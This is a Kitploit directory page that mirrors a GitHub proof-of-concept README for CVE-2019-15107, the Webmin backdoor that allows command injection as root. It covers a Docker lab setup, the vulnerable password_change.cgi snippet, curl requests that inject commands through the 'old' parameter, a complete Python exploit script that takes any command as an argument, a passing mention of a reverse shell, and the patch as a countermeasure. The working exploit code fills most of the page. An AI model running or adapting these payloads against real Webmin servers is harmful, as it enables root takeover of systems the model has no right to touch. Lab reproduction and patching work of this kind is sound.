Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-15107 — PoC exploit for CVE-2019-15107, a remote code execution vulnerability in Webmin 1.920 and earlier. Includes Docker-based lab setup, curl and Python exploit scripts, and mitigation guidance. | Kitploit
Tools/GitHubGitHub/jini135wii/cve-2019-15107
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjini135wii/cve-2019-15107

CVE-2019-15107

PoC exploit for CVE-2019-15107, a remote code execution vulnerability in Webmin 1.920 and earlier. Includes Docker-based lab setup, curl and Python exploit scripts, and mitigation guidance.

View Repository
12 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Webmin Server Management Tool RCE Vulnerability [CVE-2019-15107]

Summary

[CVE-2019-15107] is a vulnerability in Webmin, a web-based system administration tool for Unix systems. In the code that changes passwords, a specific parameter is passed directly to a shell command without filtering, allowing arbitrary code execution (Remote Code Execution, RCE).

Environment Setup and Vulnerability Conditions

The vulnerability was found in password_change.cgi, which handles password changes, when using Webmin version 1.920 or earlier. The vulnerability occurred because malware was injected during the distribution of Webmin via SourceForge.

This reproduction uses Webmin version 1.910, as used in vulhub. Additionally, since password changes are only enabled when Webmin's passwd_mode=2, set up the environment with passwd_mode=2.

With the prepared Webmin 1.910 release file webmin_1.910_all.deb, run the following command to set up the vulnerable environment:

root@kitploit:~
docker compose up -d

The Dockerfile and docker-entrypoint.sh files were reorganized for local use, referencing formats pre-built in vulhub.

Password change requires familiar parameters such as user, old, new1, and new2. Among these, code that executes the value of the old parameter was inserted.

Below is a portion of the password_change.cgi file from version 1.910. qx/$in{'old'}/ is the code that executes the aforementioned old value. By controlling this value, arbitrary code execution becomes possible.

root@kitploit:~
user@user:~/Documents/vulhub/webmin/CVE-2019-15107$ cat password_change.cgi | grep -C5 "\$in{'old'}"
		die "Missing password file configuration";
	}

if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'},qx/$in{'old'}/);
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);

Reproduction Steps

The vulnerability can be reproduced by accessing password_change.cgi in Webmin and sending a request with the old variable manipulated.

PoC Code

Whether using curl or Python, any method that sends a request to password_change.cgi works. All three examples aim to output the uid by injecting the command id into old.

  1. curl (POST)
root@kitploit:~
curl -k -X POST https://your-ip:10000/password_change.cgi   -d "user=nonexistent&pam=&expired=2&old=**id**&new1=test&new2=test"   -H "Referer: https://your-ip:10000/session_login.cgi"    
  1. curl (GET)
root@kitploit:~
curl -k "https://your-ip:10000/password_change.cgi?user=rootxx&pam=&expired=2&old=id&new1=test&new2=test" -H "Referer: https://your-ip:10000/session_login.cgi"
  1. Python
root@kitploit:~
import requests
import sys
import argparse

def exploit_webmin(target, command):
    url = f"https://{target}/password_change.cgi"
    
    # Ignore HTTPS certificate
    requests.packages.urllib3.disable_warnings()
    
    # CVE-2019-15107 payload
    # Input command into the old parameter
    data = {
        'user': 'rootxx',
        'pam': '',
        'expired': '2',
        'old': command,  # command
        'new1': 'test2',
        'new2': 'test2'
    }
    headers = {
            'Referer': f'https://{target}/session_login.cgi',
            }
    
    try:
        response = requests.post(
            url, 
            data=data, 
            headers=headers,
            verify=False,
            timeout=5
        )
        
        if response.status_code == 200:
            print("[+] Exploit sent!")
            print("[+] Response:")
            print(response.text)
            return True
        else:
            print(f"[-] Status code: {response.status_code}")
            return False
            
    except Exception as e:
        print(f"[-] Error: {e}")
        return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='CVE-2019-15107 Webmin RCE PoC')
    parser.add_argument('-t', '--target', required=True, help='Target IP:port (e.g., 127.0.0.1:10000)')
    parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
    args = parser.parse_args()
    
    print(f"[*] Exploiting Webmin at {args.target}")
    print(f"[*] Command: {args.command}")
    
    exploit_webmin(args.target, args.command)

It can be executed as follows:

root@kitploit:~
python3 PoC.py -t your-ip:10000 -c "id"

Execution Results

By injecting a desired command into the old parameter as described above, the command is executed directly. The results show that all uids are 0, indicating execution with root privileges.

In other words, this [CVE-2019-15107] vulnerability allows RCE with root privileges.

Furthermore, if a separate reverse shell is prepared, it is possible to gain a shell on the server by connecting to it.

Once the reproduction is complete, the service can be stopped using the following command:

root@kitploit:~
docker compose down

Countermeasures

The simplest method is to update Webmin.

This is the changed code in version 1.930. The part that executes the old value was simply removed.

root@kitploit:~
if ($wuser) {
	# Update Webmin user's password
	$enc = &acl::encrypt_password($in{'old'}, $wuser->{'pass'});
	$enc eq $wuser->{'pass'} || &pass_error($text{'password_eold'});
	$perr = &acl::check_password_restrictions($in{'user'}, $in{'new1'});
	$perr && &pass_error(&text('password_enewpass', $perr));
	$wuser->{'pass'} = &acl::encrypt_password($in{'new1'});
	$wuser->{'temppass'} = 0;
	&acl::modify_user($wuser->{'name'}, $wuser);
	&reload_miniserv();
	}

If the code execution part is necessary, inserting code that validates the old input can also resolve the issue.

Download Tool